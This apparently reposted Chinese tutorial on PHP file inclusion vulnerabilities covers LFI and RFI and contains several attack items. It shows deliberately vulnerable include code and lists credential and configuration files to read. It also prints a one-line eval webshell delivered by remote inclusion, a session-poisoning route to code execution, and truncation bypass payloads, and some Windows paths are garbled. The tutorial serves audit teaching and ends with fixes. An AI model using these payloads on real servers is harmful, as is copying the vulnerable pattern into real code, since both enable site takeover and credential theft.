2020/1/31 PHP代码审计之文件包含漏洞

0x00 文件包含简介

文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成了本地文件包含漏洞,被包含的文件在第三方服务时,就形成了远程文件包含漏洞。

0x01 漏洞危害

执行恶意代码
包含恶意文件控制网站
甚至控制网站服务器等

0x02 本地包含

本地文件包含(Local File Include,LFI),LFI允许攻击者通过浏览器包含本机上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据,注入路径遍历字符,包含Web服务器上的其他文件。
相比较远程包含,本地包含比较鸡肋。。我们一般只能读取一些敏感文件

0x03 远程包含

远程文件包含(Remote File Inciude,RFI),RFI允许攻击者包含远程文件,远程文件包含需要设置allow_url_include=on,四个文件都支持HTTP,FTP等协议,想对本地文件包含更容易利用,出现的频率没有本地包含多。

0x04 文件包含挖掘经验

模块加载,cache调用,传入的参数拼接包含路径。

PHP中文件包含函数有以下四种:

require()
require_once()
include()
include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

0x05 本地文件包含代码

写一个最简单的文件包含代码:

<?php//
   
   $file = $_GET['name'];
   if(isset($file)){
       include($file);
   }
?>

$_GET['name']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['name']的值,执行非预期的操作。

结合上午的目录穿越:

常见的敏感信息路径:

Windows系统

c:oot.ini // 查看系统版本c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
c:windows
epairsam // 存储Windows系统初次安装的密码
c:ProgramFilesmysqlmy.ini // MySQL配置c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
c:windowsphp.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

0x06 远程文件包含代码

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

在代码上基本没有区别:

<?php
   
   $file = $_GET['name'];
   if(isset($file)){
       include($file);
   }
?>

区别:我们可以通过url包含

通过远程文件包含,包含一句话木马:

<?php
@eval($_POST['777']);
?>
http://127.0.0.1/mmcy.php?name=http://127.0.0.1/yjh.php

通过这么一句话就可以写入webshell,控制网站

ps:

http://127.0.0.1/mmcy.php?name=http://127.0.0.1/yjh.jpg

也可以用蚁剑连接

0x07 session文件包含漏洞

利用条件:

session的存储位置可以获取。

  1. 通过phpinfo的信息可以获取到session的存储位置。
  2. 通过猜测默认的session存放位置进行尝试。
    如linux下默认存储在/var/lib/php/session目录

session中的内容可以被控制,传入恶意代码。

<?phpsession_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://127.0.0.1/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://127.0.0.1/session.php?ctfs=后,会在/var/lib/php/session目录下存储session的值

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

0x08 一些绕过技巧

有时会碰到后缀名写死情况:

<?php
   
   $file = $_GET['name'];
   if(isset($file)){
       include($file . ".txt");//只让我们包含txt文件
   }

?>

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

路径长度截断

条件:windows OS,点号需要长于256;linux OS 长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。

EXP:

?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断

条件:windows OS,点号需要长于256
代码:

<?php $filename = $_GET['filename']; include($filename . ".txt"); ?>

exp:

?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

问号绕过
属于伪截断,不受GPC和PHP版本限制(<5.2.8)

<?php include($_GET['filename'] . ".html"); ?>
?filename=http://127.0.0.1/php.txt?

#号绕过
?filename=http://127.0.0.1/php.txt#
php://输入输出流
php://filter/read=convert.base64-encode/resource=1.txt
以base64编码截断

0x09 漏洞修复

关闭远程包含参数开关,彻底切断这个业务。
设置类似白名单方法,筛选固定文件名。
常见目录穿越字符进行过滤,如(./ ../ ..等)
参考链接
https://www.freebuf.com/articles/web/182280.html

原文地址:https://www.cnblogs.com/wangtanzhi/p/12245573.html